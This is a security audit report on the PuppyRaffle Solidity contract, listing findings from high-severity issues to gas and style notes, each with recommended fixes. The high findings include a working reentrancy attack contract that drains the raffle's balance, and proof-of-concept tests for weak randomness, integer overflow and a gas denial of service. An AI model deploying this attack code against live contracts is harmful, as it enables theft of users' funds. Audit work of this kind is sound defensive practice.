Protocol Audit Report

Version 1.0

AlexGer

July 25, 2025

Protocol Audit Report

AlexGer

July 25, 2025

Prepared by: AlexGer Lead Auditors:

- Aleksei Gerasev

Table of Contents

- Medium
  - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
  - [M-2] Unsafe cast in `PuppyRaffle::selectWinner` results in loss of fees
  - [M-3] Smart contract wallets raffle winners without a `receive`/`fallback` function will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
  - [G-2] Storage variables in a loop should be cached.
- Info
  - [I-1] Unspecific Solidity Pragma
  - [I-2] Using an outdated version of Solidity is not recommended.
  - [I-3] Unnecessary assignment of 0.
  - [I-4] Address State Variable Set Without Checks
  - [I-5] Public Function Not Used Internally
  - [I-6] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice
  - [I-7] Use of "magic" numbers is discouraged
  - [I-8] State changes without emitting events
  - [I-9] The `PuppyRaffle::_isActivePlayer` function is never used

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function

4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The AlexGer team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	9
Gas	2
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
```

```
7           require(
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11
12  @>      payable(msg.sender).sendValue(entranceFee);
13  @>      players[playerIndex] = address(0);
14          emit RaffleRefunded(playerAddress);
15      }
```

A player who has entered the raffle could have `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enteres the raffle
2. Attacker sets up the contract with a `receive` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1       function test_reentrancyRefund() public {
2           Reentrancy attackerContract = new Reentrancy(address(
                puppyRaffle));
3           address attacker = makeAddr("attacker");
4
5           address[] memory players = new address[](4);
6           players[0] = playerOne;
7           players[1] = playerTwo;
8           players[2] = playerThree;
9           players[3] = playerFour;
10          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11          vm.deal(attacker, entranceFee);
12
13          vm.prank(attacker);
14          attackerContract.attack{value: entranceFee}();
15
16          assertEq(address(attackerContract).balance, entranceFee * 5);
17      }
```

And this contract as well.

```
contract Reentrancy {
    PuppyRaffle puppyRaffle;
    address immutable i_owner;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address _puppyRaffle) payable {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        i_owner = msg.sender;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;

        puppyRaffle.refund(attackerIndex);
    }

    function withdraw() external {
        require(msg.sender == i_owner);
        uint256 balance = address(this).balance;
        (bool success, ) = i_owner.call{value: balance}("");
        require(success);
    }

    receive() external payable {
        if (address(puppyRaffle).balance > 0) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
```

```
10          );
11  +       players[playerIndex] = address(0);
12  +       emit RaffleRefunded(playerAddress);
13          payable(msg.sender).sendValue(entranceFee);
14  -       players[playerIndex] = address(0);
15  -       emit RaffleRefunded(playerAddress);
16      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replace with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 89 players
2. We then have 4 players enter a new raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 178000000000000000 + 80000000000000000;
// and this will overflow!
totalFees = 153255926290448384;
```

4. You won't be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
     ");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function test_selectWinnerOverflow() public {
        uint256 playersCount = 89;
        address[] memory players = new address[](playersCount);
        for (uint256 i; i < playersCount; i++) {
            players[i] = address(uint160(i + 100));
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersCount}(
           players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
```

```
13
14          uint256 feesBefore = puppyRaffle.totalFees();
15          console.log("feesBefore:", feesBefore);
16
17          // add 4 more players
18          uint256 morePlayersCount = 4;
19          address[] memory playersMore = new address[](morePlayersCount);
20          for (uint256 i; i < morePlayersCount; i++) {
21              playersMore[i] = address(uint160(i + 1000));
22          }
23
24          puppyRaffle.enterRaffle{value: entranceFee * morePlayersCount}(
25              playersMore
26          );
27          vm.warp(block.timestamp + duration + 1);
28          vm.roll(block.number + 1);
29
30          puppyRaffle.selectWinner();
31
32          uint256 feesAfter = puppyRaffle.totalFees();
33          console.log("feesAfter:", feesAfter);
34
35          uint256 expectedFees = ((entranceFee *
36              (playersCount + morePlayersCount)) * 20) / 100;
37
38          assert(feesAfter < feesBefore);
39          assert(feesAfter < expectedFees);
40
41          vm.prank(feeAddress);
42          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
43          // here we have our fees stuck because of overflow
44          puppyRaffle.withdrawFees();
45      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees),"PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: The gas costs for raffle entrants will greatly icrease as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attater might make the `PuppuRaffle::entrants` array so big, that no one else enters, guarenteeing themselfves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6503272 gas
- 2nd 100 players: ~18995127 gas

This more than 3x more expensive for the 2nd 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testEnterRaffleDoS() public {
    vm.txGasPrice(1);

    uint256 playersCount = 100;
    address[] memory players = new address[](playersCount);
    for (uint256 i; i < playersCount; ++i) {
        players[i] = address(uint160(i));
    }
```

```
 9
10      uint256 gasStart = gasleft();
11      puppyRaffle.enterRaffle{value: entranceFee * playersCount}(players)
            ;
12
13      uint256 gasEnd = gasleft();
14      uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
15      console.log("Gas cost 1st: ", gasUsed);
16
17      for (uint256 i; i < playersCount; ++i) {
18          players[i] = address(uint160(i + 1000));
19      }
20
21      uint256 gasStart2 = gasleft();
22      puppyRaffle.enterRaffle{value: entranceFee * playersCount}(players)
            ;
23
24      uint256 gasEnd2 = gasleft();
25      uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
26      console.log("Gas cost 2nd: ", gasUsed2);
27
28      assert(gasUsed2 > gasUsed);
29  }
```

Recommended Mitigation: There are a few recommendations.

1. Considering allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast in `PuppyRaffle::selectWinner` results in loss of fees

Description: If the number of fees is large and exceeds `type(uint64).max`, the actual value will be truncated.

Impact: In the `PuppyRaffle::selectWinner` function, there is an unsafe conversion when calculating fees, where `uint256` is cast to `uint64`. Consequently, if the number of fees is large and exceeds the maximum value of `uint64`, it may result in truncation of the fee count.

Proof of Concept:

1. 93 participants are taking part in the lottery, with an entrance fee of 0.2 ether
2. The total amount of fees to be paid should be: entranceFee * 93 = 18,600,000,000,000,000,000.

3. The maximum value of uint64 is 18,446,744,073,709,551,615, which is less than the above number.

Code

```
    function test_selectWinnerUnsafeCast() public {
        uint256 playersCount = 93;
        address[] memory players = new address[](playersCount);
        for (uint256 i; i < playersCount; i++) {
            players[i] = address(uint160(i + 100));
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersCount}(
            players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 expectedFees = ((entranceFee * playersCount) * 20) /
            100;
        uint256 actualFees = puppyRaffle.totalFees();
        console.log("expectedFees:", expectedFees);
        console.log("actualFees:", actualFees);

        assert(expectedFees > type(uint64).max);
        assert(actualFees < expectedFees);
    }
```

Recommended Mitigation: It is recommended to use the `uint256` type instead of `uint64` and eliminate the unsafe conversion.

[M-3] Smart contract wallets raffle winners without a `receive/fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` fucntion again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function
2. The lottery ends
3. The `selectWinner` fucntion wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Don't allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    /// @notice a way to get the index in the array
    /// @param player the address of a player in the raffle
    /// @return the index of the player in the array, if they are not
       active, it returns 0
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enteres the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length; i++) {
+       for (uint256 i; i < playersLength; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

Info

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Foundings

- Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

Version constraint ^0.7.6 contains known severe issues (https://solidity.readthedocs.io/en/latest/bugs.html)

solc-0.7.6 is an outdated solc version. Use a more recent version (at least 0.8.0), if possible.

[I-3] Unnecessary assignment of 0.

There is no need to assign zero to the variable, as it is initialized with a default value; for uint64, this will be 0.

Foundings

- Found in src/PuppyRaffle.sol Line: 34

```
1     uint64 public totalFees = 0;
```

[I-4] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

Foundings

- Found in src/PuppyRaffle.sol Line: 77

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 180

```
1     address winner = players[winnerIndex];
```

- Found in src/PuppyRaffle.sol Line: 229

```
1 feeAddress = newFeeAddress;
```

[I-5] Public Function Not Used Internally

If a function is marked public but is not used internally, consider marking it as `external`.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 95

```
1     function enterRaffle(address[] memory newPlayers) public
          payable {
```

- Found in src/PuppyRaffle.sol Line: 121

```
1     function refund(uint256 playerIndex) public {
```

[I-6] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -       (bool success, ) = winner.call{value: prizePool}("");
2 -       require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3         _safeMint(winner, tokenId);
4 +       (bool success, ) = winner.call{value: prizePool}("");
5 +       require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
6     }
```

[I-7] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1     require(players.length >= 4, "PuppyRaffle: Need at least 4 players"
          );
2     uint256 prizePool = (totalAmountCollected * 80) / 100;
3     uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use

```
    uint256 public constant MIN_PLAYERS_COUNT = 4;
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

[I-8] State changes without emitting events

In the `PuppyRaffle::withdrawFees` function, we do not emit an event when withdrawing fees, which is considered a bad practice. An event called `FeesWithdrawn` should be added.

```
    function withdrawFees() external {
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
+       emit FeesWithdrawn(feesToWithdraw);
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[I-9] The `PuppyRaffle::_isActivePlayer` function is never used

It is recommended to remove dead code, as this function is not utilized by anyone. This will help save gas during deployment.